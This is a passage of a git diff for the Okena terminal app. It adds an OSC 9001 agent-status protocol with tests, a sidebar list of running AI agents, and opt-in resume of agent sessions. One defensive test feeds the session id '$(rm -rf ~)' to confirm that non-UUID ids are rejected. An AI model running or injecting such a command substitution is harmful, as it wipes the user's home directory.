+        // queue to keep lock scopes from overlapping.
+        let mut slot = self.agent_status.lock();
+        let previous_lifecycle = slot.as_ref().map(|s| s.lifecycle);
+        let notify_body =
+            (previous_lifecycle != Some(lifecycle) && lifecycle.notifies()).then(|| {
+                new_status
+                    .custom
+                    .clone()
+                    .unwrap_or_else(|| agent_default_body(lifecycle))
+            });
+        // Any change to the stored status (lifecycle, custom text, or labels)
+        // is worth pushing to remote clients.
+        let changed = slot.as_ref() != Some(&new_status);
+        *slot = Some(new_status);
+        drop(slot);
+
+        log::debug!(
+            "agent-status[{}]: {:?} -> {:?} (changed={changed}, notify={})",
+            self.terminal_id,
+            previous_lifecycle,
+            lifecycle,
+            notify_body.is_some()
+        );
+
+        if changed {
+            self.remote_dirty.store(true, Ordering::Relaxed);
+        }
+        if let Some(body) = notify_body {
+            self.pending_notifications
+                .lock()
+                .push(TerminalNotification { title: None, body });
+        }
+    }
+}
+
+/// Decode a base64(UTF-8) OSC field, tolerating a missing-pad variant (same
+/// leniency as the `OSC 99` payload decoder). Returns `None` on undecodable or
+/// non-UTF-8 input so a malformed field is simply dropped.
+fn decode_osc_base64(s: &str) -> Option<String> {
+    let decoded = base64::engine::general_purpose::STANDARD
+        .decode(s.as_bytes())
+        .or_else(|_| base64::engine::general_purpose::STANDARD_NO_PAD.decode(s.as_bytes()))
+        .ok()?;
+    String::from_utf8(decoded).ok()
+}
+
+/// Default notification body when an agent reports a notifying state without
+/// its own `msg=` text.
+fn agent_default_body(lifecycle: AgentLifecycle) -> String {
+    match lifecycle {
+        AgentLifecycle::Blocked => "Agent needs your input".to_string(),
+        AgentLifecycle::Done => "Agent finished".to_string(),
+        // Non-notifying states never reach here (guarded by `notifies()`).
+        AgentLifecycle::Working | AgentLifecycle::Idle => String::new(),
+    }
 }
 
 impl Perform for SidecarPerform {
@@ -365,6 +559,8 @@ impl Perform for SidecarPerform {
                 }
             }
             b"99" => self.handle_osc99(params),
+            // Okena's private agent-status protocol; see `handle_agent_status`.
+            b"9001" => self.handle_agent_status(params),
             _ => {}
         }
     }
diff --git a/crates/okena-terminal/src/terminal/tests/osc.rs b/crates/okena-terminal/src/terminal/tests/osc.rs
index e8bd5db59..19e80dfd2 100644
--- a/crates/okena-terminal/src/terminal/tests/osc.rs
+++ b/crates/okena-terminal/src/terminal/tests/osc.rs
@@ -1250,3 +1250,319 @@ fn test_process_palette_answers_color_query_without_per_terminal_palette() {
         "unexpected reply: {reply:?}"
     );
 }
+
+// ── Agent status (OSC 9001) ──────────────────────────────────────────────
+
+fn b64(s: &str) -> String {
+    use base64::Engine as _;
+    base64::engine::general_purpose::STANDARD.encode(s)
+}
+
+#[test]
+fn test_agent_status_sets_lifecycle_without_notification() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    assert_eq!(terminal.agent_status(), None);
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Working)),
+    );
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_done_with_custom_message_notifies() {
+    use okena_core::agent_status::AgentLifecycle;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let msg = "running tests 3/5";
+    terminal.process_output(format!("\x1b]9001;st=done;msg={}\x07", b64(msg)).as_bytes());
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.lifecycle, AgentLifecycle::Done);
+    assert_eq!(status.custom.as_deref(), Some(msg));
+    assert_eq!(terminal.take_pending_notifications(), vec![body(msg)]);
+}
+
+#[test]
+fn test_agent_status_blocked_without_message_uses_default_body() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=blocked\x07");
+
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent needs your input")],
+    );
+}
+
+#[test]
+fn test_agent_status_notifies_only_on_transition() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.take_pending_notifications().is_empty());
+    terminal.process_output(b"\x1b]9001;st=done\x07");
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent finished")]
+    );
+    terminal.process_output(b"\x1b]9001;st=done\x07");
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_clear_removes_status() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.agent_status().is_some());
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert_eq!(terminal.agent_status(), None);
+}
+
+#[test]
+fn test_agent_status_unknown_state_left_untouched() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    terminal.process_output(b"\x1b]9001;st=bogus\x07");
+    terminal.process_output(b"\x1b]9001;msg=abc\x07");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Working)),
+    );
+    assert!(terminal.take_pending_notifications().is_empty());
+}
+
+#[test]
+fn test_agent_status_parses_labels_json() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let lbl = b64(r#"{"stage":"verify","eta":"5m"}"#);
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(
+        status.labels.get("stage").map(String::as_str),
+        Some("verify")
+    );
+    assert_eq!(status.labels.get("eta").map(String::as_str), Some("5m"));
+}
+
+#[test]
+fn test_agent_status_malformed_base64_drops_field_but_keeps_lifecycle() {
+    use okena_core::agent_status::AgentLifecycle;
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working;msg=***\x07");
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.lifecycle, AgentLifecycle::Working);
+    assert_eq!(status.custom, None);
+}
+
+#[test]
+fn test_agent_status_st_terminator() {
+    use okena_core::agent_status::{AgentLifecycle, AgentStatus};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=idle\x1b\\");
+
+    assert_eq!(
+        terminal.agent_status(),
+        Some(AgentStatus::new(AgentLifecycle::Idle)),
+    );
+}
+
+#[test]
+fn test_agent_status_empty_message_uses_default_body() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=blocked;msg=\x07");
+
+    let status = terminal.agent_status().expect("status set");
+    assert_eq!(status.custom, None);
+    assert_eq!(
+        terminal.take_pending_notifications(),
+        vec![body("Agent needs your input")],
+    );
+}
+
+#[test]
+fn test_agent_status_oversized_fields_are_bounded() {
+    use okena_core::agent_status::{MAX_CUSTOM_LEN, MAX_LABELS};
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let huge = "A".repeat(2_000_000);
+    let mut json = String::from("{");
+    for i in 0..200 {
+        if i > 0 {
+            json.push(',');
+        }
+        json.push_str(&format!("\"k{i}\":\"v\""));
+    }
+    json.push('}');
+    terminal.process_output(
+        format!(
+            "\x1b]9001;st=working;msg={};lbl={}\x07",
+            b64(&huge),
+            b64(&json)
+        )
+        .as_bytes(),
+    );
+
+    let status = terminal.agent_status().expect("status set");
+    assert!(status.custom.as_ref().expect("custom set").len() <= MAX_CUSTOM_LEN);
+    assert!(status.labels.len() <= MAX_LABELS);
+}
+
+#[test]
+fn test_agent_status_marks_remote_dirty_on_change_only() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    terminal.process_output(b"\x1b]9001;st=working\x07");
+    assert!(terminal.take_remote_dirty());
+    assert!(!terminal.take_remote_dirty());
+
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 1")).as_bytes());
+    assert!(terminal.take_remote_dirty());
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 2")).as_bytes());
+    assert!(terminal.take_remote_dirty());
+
+    terminal.process_output(format!("\x1b]9001;st=working;msg={}\x07", b64("step 2")).as_bytes());
+    assert!(!terminal.take_remote_dirty());
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert!(terminal.take_remote_dirty());
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert!(!terminal.take_remote_dirty());
+}
+
+#[test]
+fn test_agent_session_captured_from_label_and_survives_clear() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    assert_eq!(terminal.agent_session(), None);
+
+    let uuid = "3b9c1f2a-4d5e-6f70-8a9b-0c1d2e3f4a5b";
+    let lbl = b64(&format!(
+        r#"{{"agent":"claude-code","session_id":"{uuid}","transcript_path":"/tmp/t.jsonl"}}"#
+    ));
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    let session = terminal.agent_session().expect("session captured");
+    assert_eq!(session.agent, "claude-code");
+    assert_eq!(session.session_id, uuid);
+    assert_eq!(session.transcript_path.as_deref(), Some("/tmp/t.jsonl"));
+    assert!(terminal.take_agent_session_dirty());
+    assert!(!terminal.take_agent_session_dirty());
+
+    terminal.process_output(b"\x1b]9001;st=clear\x07");
+    assert_eq!(terminal.agent_status(), None);
+    assert_eq!(
+        terminal.agent_session().map(|s| s.session_id),
+        Some(uuid.to_string()),
+    );
+}
+
+#[test]
+fn test_agent_session_rejects_non_uuid_session_id() {
+    let transport = Arc::new(NullTransport);
+    let terminal = Terminal::new(
+        "t".into(),
+        TerminalSize::default(),
+        transport,
+        "/tmp".into(),
+    );
+
+    let lbl = b64(r#"{"agent":"claude-code","session_id":"$(rm -rf ~)"}"#);
+    terminal.process_output(format!("\x1b]9001;st=working;lbl={lbl}\x07").as_bytes());
+
+    assert!(terminal.agent_status().is_some());
+    assert_eq!(terminal.agent_session(), None);
+    assert!(!terminal.take_agent_session_dirty());
+}
diff --git a/crates/okena-transport/src/client/state.rs b/crates/okena-transport/src/client/state.rs
index 3438db04e..3df64dd3d 100644
--- a/crates/okena-transport/src/client/state.rs
+++ b/crates/okena-transport/src/client/state.rs
@@ -202,6 +202,7 @@ mod tests {
             show_in_overview: true,
             layout,
             terminal_names: Default::default(),
+            terminal_agent_status: Default::default(),
             git_status: None,
             folder_color: Default::default(),
             services: vec![],
@@ -368,6 +369,7 @@ mod tests {
                 ],
             }),
             terminal_names: Default::default(),
+            terminal_agent_status: Default::default(),
             git_status: None,
             folder_color: FolderColor::default(),
             services: Vec::new(),
diff --git a/crates/okena-views-sidebar/src/agents_list.rs b/crates/okena-views-sidebar/src/agents_list.rs
new file mode 100644
index 000000000..1a301fbd1
--- /dev/null
+++ b/crates/okena-views-sidebar/src/agents_list.rs
@@ -0,0 +1,204 @@
+//! The sidebar "AGENTS" section — a flat, cross-project list of panes running
+//! an AI coding agent that reports its status via `OSC 9001`.
+//!
+//! This is the multi-agent "mission control": every active agent at a glance,
+//! sorted by attention (blocked → done → working → idle), regardless of which
+//! project it lives in. Clicking a row jumps straight to that pane. The section
+//! hides itself when no agent is active. Per-pane indicators still live on the
+//! tab itself (see `okena-views-terminal`).
+
+use gpui::*;
+use gpui_component::tooltip::Tooltip;
+use okena_core::agent_status::AgentStatus;
+use okena_ui::theme::theme;
+use okena_ui::tokens::{ui_text_md, ui_text_ms, ui_text_sm};
+
+use crate::sidebar::Sidebar;
+
+/// One running agent, projected for rendering (owned so we don't hold the
+/// workspace / terminal-registry locks while building elements).
+struct SidebarAgentInfo {
+    terminal_id: String,
+    project_id: String,
+    display_name: String,
+    project_name: String,
+    status: AgentStatus,
+}
+
+impl Sidebar {
+    /// Render the AGENTS section (header + one row per active agent), or an
+    /// empty element when no agent is reporting a status.
+    pub fn render_agents_section(&self, cx: &mut Context<Self>) -> impl IntoElement {
+        let agents = self.collect_agents(cx);
+        if agents.is_empty() {
+            return div().into_any_element();
+        }
+
+        let mut children: Vec<AnyElement> = Vec::new();
+        children.push(
+            self.render_agents_header(agents.len(), cx)
+                .into_any_element(),
+        );
+        for agent in &agents {
+            children.push(self.render_agent_row(agent, cx).into_any_element());
+        }
+        div().children(children).into_any_element()
+    }
+
+    /// Collect every non-hook terminal across all projects that currently has an
+    /// agent status, sorted by lifecycle priority (blocked first) then name.
+    fn collect_agents(&self, cx: &mut Context<Self>) -> Vec<SidebarAgentInfo> {
+        let workspace = self.workspace.read(cx);
+        let terminals = self.terminals.lock();
+        let mut agents: Vec<SidebarAgentInfo> = Vec::new();
+        for project in workspace.projects() {
+            let Some(layout) = project.layout.as_ref() else {
+                continue;
+            };
+            for tid in layout.collect_terminal_ids() {
+                // Hook terminals have their own panel.
+                if project.hook_terminals.contains_key(&tid) {
+                    continue;
+                }
+                let Some(term) = terminals.get(tid.as_str()) else {
+                    continue;
+                };
+                let Some(status) = term.agent_status() else {
+                    continue;
+                };
+                let display_name = project.terminal_display_name(&tid, term.title());
+                agents.push(SidebarAgentInfo {
+                    terminal_id: tid,
+                    project_id: project.id.clone(),
+                    display_name,
+                    project_name: project.name.clone(),
+                    status,
+                });
+            }
+        }
+        agents.sort_by(|a, b| {
+            b.status
+                .lifecycle
+                .priority()
+                .cmp(&a.status.lifecycle.priority())
+                .then_with(|| a.display_name.cmp(&b.display_name))
+        });
+        agents
+    }
+
+    fn render_agents_header(&self, count: usize, cx: &mut Context<Self>) -> impl IntoElement {
+        let t = theme(cx);
+        div()
+            .h(px(28.0))
+            .px(px(12.0))
+            .mt(px(8.0))
+            .flex()
+            .items_center()
+            .gap(px(6.0))
+            .child(
+                div()
+                    .text_size(ui_text_ms(cx))
+                    .font_weight(FontWeight::SEMIBOLD)
+                    .text_color(rgb(t.text_secondary))
+                    .child("AGENTS"),
+            )
+            .child(
+                div()
+                    .text_size(ui_text_sm(cx))
+                    .text_color(rgb(t.text_muted))
+                    .child(count.to_string()),
+            )
+    }
+
+    fn render_agent_row(
+        &self,
+        agent: &SidebarAgentInfo,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
+        let t = theme(cx);
+        let dot_color = rgb(agent.status.lifecycle.theme_color(&t));
+        let project_id = agent.project_id.clone();
+        let terminal_id = agent.terminal_id.clone();
+        let custom = agent.status.custom.clone().filter(|c| !c.is_empty());
+
+        // Two-line layout: the terminal title (usually the agent's task) on top,
+        // the project — plus any free-form status the agent reports — muted
+        // underneath, so a long title can no longer crowd out the project the
+        // pane belongs to. Both lines ellipsize independently.
+        let title = agent.display_name.clone();
+        // Hover reveals whatever the lines truncate.
+        let tooltip = match &custom {
+            Some(c) => format!("{title} · {c}"),
+            None => title.clone(),
+        };
+        // Second line: "project" or "project · custom status".
+        let subtitle = match &custom {
+            Some(c) => format!("{} · {c}", agent.project_name),
+            None => agent.project_name.clone(),
+        };
+
+        div()
+            .id(ElementId::Name(
+                format!("agent-row-{}", agent.terminal_id).into(),
+            ))
+            .px(px(12.0))
+            .py(px(5.0))
+            .flex()
+            .items_start()
+            .gap(px(6.0))
+            .cursor_pointer()
+            .hover(|s| s.bg(rgb(t.bg_hover)))
+            .on_click(cx.listener(move |this, _, _window, cx| {
+                this.cursor_index = None;
+                let workspace = this.workspace.clone();
+                this.focus_manager.update(cx, |fm, cx| {
+                    workspace.update(cx, |ws, cx| {
+                        ws.focus_terminal_by_id(fm, &project_id, &terminal_id, cx);
+                    });
+                    cx.notify();
+                });
+            }))
+            // Lifecycle status dot, nudged down to sit on the title line.
+            .child(
+                div()
+                    .mt(px(4.0))
+                    .w(px(8.0))
+                    .h(px(8.0))
+                    .rounded_full()
+                    .bg(dot_color)
+                    .flex_shrink_0(),
+            )
+            // Text column: title over project, each ellipsized.
+            .child(
+                div()
+                    .flex_1()
+                    .min_w_0()
+                    .flex()
+                    .flex_col()
+                    .gap(px(1.0))
+                    // Line 1 — terminal title / agent task.
+                    .child(
+                        div()
+                            .min_w_0()
+                            .overflow_hidden()
+                            .whitespace_nowrap()
+                            .text_ellipsis()
+                            .text_size(ui_text_md(cx))
+                            .text_color(rgb(t.text_primary))
+                            .child(title),
+                    )
+                    // Line 2 — project (+ optional free-form status).
+                    .child(
+                        div()
+                            .min_w_0()
+                            .overflow_hidden()
+                            .whitespace_nowrap()
+                            .text_ellipsis()
+                            .text_size(ui_text_sm(cx))
+                            .text_color(rgb(t.text_muted))
+                            .child(subtitle),
+                    ),
+            )
+            .tooltip(move |window, cx| Tooltip::new(tooltip.clone()).build(window, cx))
+    }
+}
diff --git a/crates/okena-views-sidebar/src/lib.rs b/crates/okena-views-sidebar/src/lib.rs
index d1f383f01..7390230bb 100644
--- a/crates/okena-views-sidebar/src/lib.rs
+++ b/crates/okena-views-sidebar/src/lib.rs
@@ -1,6 +1,7 @@
 #![cfg_attr(not(test), warn(clippy::unwrap_used, clippy::expect_used))]
 
 pub mod activity_order;
+pub mod agents_list;
 pub mod color_picker;
 pub mod context_menu;
 pub mod drag;
diff --git a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
index 216802242..d815c0b44 100644
--- a/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
+++ b/crates/okena-views-sidebar/src/sidebar/from_project_test.rs
@@ -27,6 +27,7 @@ fn make_project(id: &str) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
diff --git a/crates/okena-views-sidebar/src/sidebar/render.rs b/crates/okena-views-sidebar/src/sidebar/render.rs
index 50fc27306..4a23c90c6 100644
--- a/crates/okena-views-sidebar/src/sidebar/render.rs
+++ b/crates/okena-views-sidebar/src/sidebar/render.rs
@@ -128,6 +128,7 @@ impl Sidebar {
                         }
                     }))
                     .children(flat_elements)
+                    .child(self.render_agents_section(cx))
                     .child(self.render_remote_section(cx)),
             )
     }
diff --git a/crates/okena-views-terminal/src/layout/tabs/mod.rs b/crates/okena-views-terminal/src/layout/tabs/mod.rs
index 2fadd273b..b73edff31 100644
--- a/crates/okena-views-terminal/src/layout/tabs/mod.rs
+++ b/crates/okena-views-terminal/src/layout/tabs/mod.rs
@@ -10,6 +10,7 @@ use crate::simple_input::SimpleInput;
 use crate::terminal_view_settings;
 use gpui::prelude::*;
 use gpui::*;
+use gpui_component::tooltip::Tooltip;
 use gpui_component::{h_flex, v_flex};
 use okena_files::theme::theme;
 use okena_terminal::terminal::TerminalProgressState;
@@ -392,16 +393,29 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
                 _ => None,
             };
 
-            let (is_waiting, idle_label, progress) = terminal_id.as_ref().map_or((false, None, None), |tid| {
-                let guard = terminals.lock();
-                guard.get(tid).map_or((false, None, None), |t| {
-                    let progress = t.progress();
-                    if t.is_waiting_for_input() {
-                        (true, Some(t.idle_duration_display()), progress)
-                    } else {
-                        (false, None, progress)
-                    }
-                })
+            let (is_waiting, idle_label, progress, agent_status) =
+                terminal_id.as_ref().map_or((false, None, None, None), |tid| {
+                    let guard = terminals.lock();
+                    guard.get(tid).map_or((false, None, None, None), |t| {
+                        let progress = t.progress();
+                        let agent_status = t.agent_status();
+                        if t.is_waiting_for_input() {
+                            (true, Some(t.idle_duration_display()), progress, agent_status)
+                        } else {
+                            (false, None, progress, agent_status)
+                        }
+                    })
+                });
+
+            // Agent lifecycle (if the pane is running an agent that reports via
+            // OSC 9001) takes precedence over the generic idle/hook coloring,
+            // and its free-form text shows in the tab tooltip.
+            let agent_tooltip: Option<String> = agent_status.as_ref().map(|a| {
+                let life = a.lifecycle.label();
+                match a.custom.as_deref() {
+                    Some(c) if !c.is_empty() => format!("{life} · {c}"),
+                    _ => format!("agent {life}"),
+                }
             });
 
             let is_hook = terminal_id.as_ref().is_some_and(|tid| {
@@ -428,6 +442,9 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
             div()
                 .id(ElementId::Name(format!("tab-{}-{:?}", i, layout_path).into()))
                 .cursor_pointer()
+                .when_some(agent_tooltip, |d, text| {
+                    d.tooltip(move |window, cx| Tooltip::new(text.clone()).build(window, cx))
+                })
                 .relative()
                 .flex_shrink_0()
                 .max_w(px(200.0))
@@ -496,7 +513,17 @@ impl<D: ActionDispatch + Send + Sync> LayoutContainer<D> {
                             }))
                             .into_any_element()
                     } else {
-                        let icon_color = if is_hook { rgb(t.term_yellow) } else if is_waiting { rgb(t.border_idle) } else if is_active { rgb(t.success) } else { rgb(t.text_muted) };
+                        let icon_color = if let Some(a) = agent_status.as_ref() {
+                            rgb(a.lifecycle.theme_color(&t))
+                        } else if is_hook {
+                            rgb(t.term_yellow)
+                        } else if is_waiting {
+                            rgb(t.border_idle)
+                        } else if is_active {
+                            rgb(t.success)
+                        } else {
+                            rgb(t.text_muted)
+                        };
                         h_flex()
                             .gap(px(6.0))
                             .overflow_hidden()
diff --git a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
index bc8cf9720..ea073ee85 100644
--- a/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
+++ b/crates/okena-views-terminal/src/layout/terminal_pane/mod.rs
@@ -336,6 +336,28 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {
             &settings.default_shell,
         );
 
+        // On restore, optionally resume the pane's captured AI agent session.
+        // This function only runs when the terminal wasn't already in the
+        // registry (a fresh reconnect after restart), so resume can't fire
+        // mid-session. Gated by the opt-in setting and dispatched to the right
+        // harness by the session's `agent` id. The persisted session — and the
+        // terminal_id it's keyed by — only survives a restart with a session
+        // backend, so this is a no-op under `session_backend = none`.
+        let resume_line: Option<String> = if settings.auto_resume_agent_sessions {
+            ws.agent_session(&self.project_id, &terminal_id)
+                .and_then(|session| {
+                    okena_core::agent_harness::for_agent(&session.agent).and_then(|harness| {
+                        harness.resume_command(
+                            &session.session_id,
+                            std::path::Path::new(&self.project_path),
+                        )
+                    })
+                })
+                .map(|argv| argv.join(" "))
+        } else {
+            None
+        };
+
         match self
             .backend
             .reconnect_terminal(&terminal_id, &self.project_path, Some(&shell))
@@ -346,6 +368,18 @@ impl<D: ActionDispatch + Send + Sync> TerminalPane<D> {
             }
         }
 
+        // Type the resume command once the freshly-reconnected shell has settled.
+        if let Some(line) = resume_line {
+            let transport = self.backend.transport();
+            let tid = terminal_id.clone();
+            let payload = format!("{line}\n");
+            cx.spawn(async move |_this: WeakEntity<TerminalPane<D>>, _cx| {
+                smol::Timer::after(std::time::Duration::from_millis(1500)).await;
+                transport.send_input(&tid, payload.as_bytes());
+            })
+            .detach();
+        }
+
         let size = TerminalSize::default();
         let terminal = Arc::new(Terminal::new(
             terminal_id.clone(),
diff --git a/crates/okena-views-terminal/src/lib.rs b/crates/okena-views-terminal/src/lib.rs
index 72598e46d..b39f09ae5 100644
--- a/crates/okena-views-terminal/src/lib.rs
+++ b/crates/okena-views-terminal/src/lib.rs
@@ -108,6 +108,10 @@ pub struct TerminalViewSettings {
     /// When true, Ctrl+C copies the active selection (and clears it) instead of sending SIGINT.
     /// Ctrl+C without a selection always sends SIGINT.
     pub ctrl_c_copies_selection: bool,
+    /// Auto-resume a pane's captured AI agent session (`claude --resume <id>`,
+    /// …) when reconnecting it on restore. Opt-in; off by default.
+    #[serde(default)]
+    pub auto_resume_agent_sessions: bool,
 }
 
 /// Read current terminal view settings from ExtensionSettingsStore.
@@ -130,6 +134,7 @@ pub fn terminal_view_settings(cx: &gpui::App) -> TerminalViewSettings {
             default_shell: okena_terminal::shell_config::ShellType::Default,
             hooks: Default::default(),
             ctrl_c_copies_selection: false,
+            auto_resume_agent_sessions: false,
         })
 }
 
diff --git a/crates/okena-workspace/src/actions/focus.rs b/crates/okena-workspace/src/actions/focus.rs
index 8f2ab56b8..91d578b26 100644
--- a/crates/okena-workspace/src/actions/focus.rs
+++ b/crates/okena-workspace/src/actions/focus.rs
@@ -221,9 +221,16 @@ impl Workspace {
         cx.notify();
     }
 
-    /// Focus a terminal by its ID (finds path automatically)
+    /// Focus a terminal by its ID, *revealing* it first (finds path automatically).
     ///
-    /// This is a convenience method that looks up the layout path and calls set_focused_terminal.
+    /// This is the shared "navigate to this terminal" primitive behind agent-row
+    /// / sidebar / notification clicks and remote focus requests. It activates
+    /// the tabs along the path, then calls [`FocusManager::reveal_terminal`] so
+    /// the target becomes visible even when the view is currently zoomed into
+    /// another project or has a different terminal fullscreened — retargeting
+    /// the active view mode onto the target rather than focusing a pane the
+    /// current view is hiding. (Use `set_focused_terminal` for clicks on a pane
+    /// that's already on screen.)
     pub fn focus_terminal_by_id(
         &mut self,
         focus_manager: &mut FocusManager,
@@ -242,8 +249,12 @@ impl Workspace {
                 layout.activate_tabs_along_path(&path);
             }
             self.notify_data(cx);
-            // Focus the terminal without changing which projects are shown
-            self.set_focused_terminal(focus_manager, project_id.to_string(), path, cx);
+            // Reveal: retarget the active zoom/fullscreen onto the target so it
+            // is actually visible, then focus it.
+            focus_manager.reveal_terminal(project_id.to_string(), path, terminal_id.to_string());
+            self.touch_project(project_id);
+            self.bump_activity(project_id, cx);
+            cx.notify();
         }
     }
 }
diff --git a/crates/okena-workspace/src/actions/folder.rs b/crates/okena-workspace/src/actions/folder.rs
index bcec0c369..bf30bd26f 100644
--- a/crates/okena-workspace/src/actions/folder.rs
+++ b/crates/okena-workspace/src/actions/folder.rs
@@ -230,6 +230,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -353,6 +354,7 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/layout/tests_gpui.rs b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
index 03dff4e20..aaac7f4d0 100644
--- a/crates/okena-workspace/src/actions/layout/tests_gpui.rs
+++ b/crates/okena-workspace/src/actions/layout/tests_gpui.rs
@@ -30,6 +30,7 @@ fn make_project(id: &str) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
@@ -499,6 +500,7 @@ fn make_project_with_layout(id: &str, layout: LayoutNode) -> ProjectData {
         is_remote: false,
         connection_id: None,
         service_terminals: HashMap::new(),
+        agent_sessions: Default::default(),
         default_shell: None,
         hook_terminals: HashMap::new(),
         pinned: false,
diff --git a/crates/okena-workspace/src/actions/project.rs b/crates/okena-workspace/src/actions/project.rs
index db7afb0cd..e62cb1762 100644
--- a/crates/okena-workspace/src/actions/project.rs
+++ b/crates/okena-workspace/src/actions/project.rs
@@ -303,6 +303,7 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: HashMap::new(),
             default_shell,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1102,6 +1103,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
@@ -1431,6 +1433,7 @@ mod gpui_tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/soft_close.rs b/crates/okena-workspace/src/actions/soft_close.rs
index 18f34630e..57ed2b1ec 100644
--- a/crates/okena-workspace/src/actions/soft_close.rs
+++ b/crates/okena-workspace/src/actions/soft_close.rs
@@ -610,6 +610,7 @@ mod tests {
             is_remote: false,
             connection_id: None,
             service_terminals: HashMap::new(),
+            agent_sessions: Default::default(),
             default_shell: None,
             hook_terminals: HashMap::new(),
             pinned: false,
diff --git a/crates/okena-workspace/src/actions/worktree.rs b/crates/okena-workspace/src/actions/worktree.rs
index aa1a6f841..7bab84e30 100644
--- a/crates/okena-workspace/src/actions/worktree.rs
+++ b/crates/okena-workspace/src/actions/worktree.rs
@@ -528,6 +528,7 @@ impl Workspace {
             is_remote: false,
             connection_id: None,
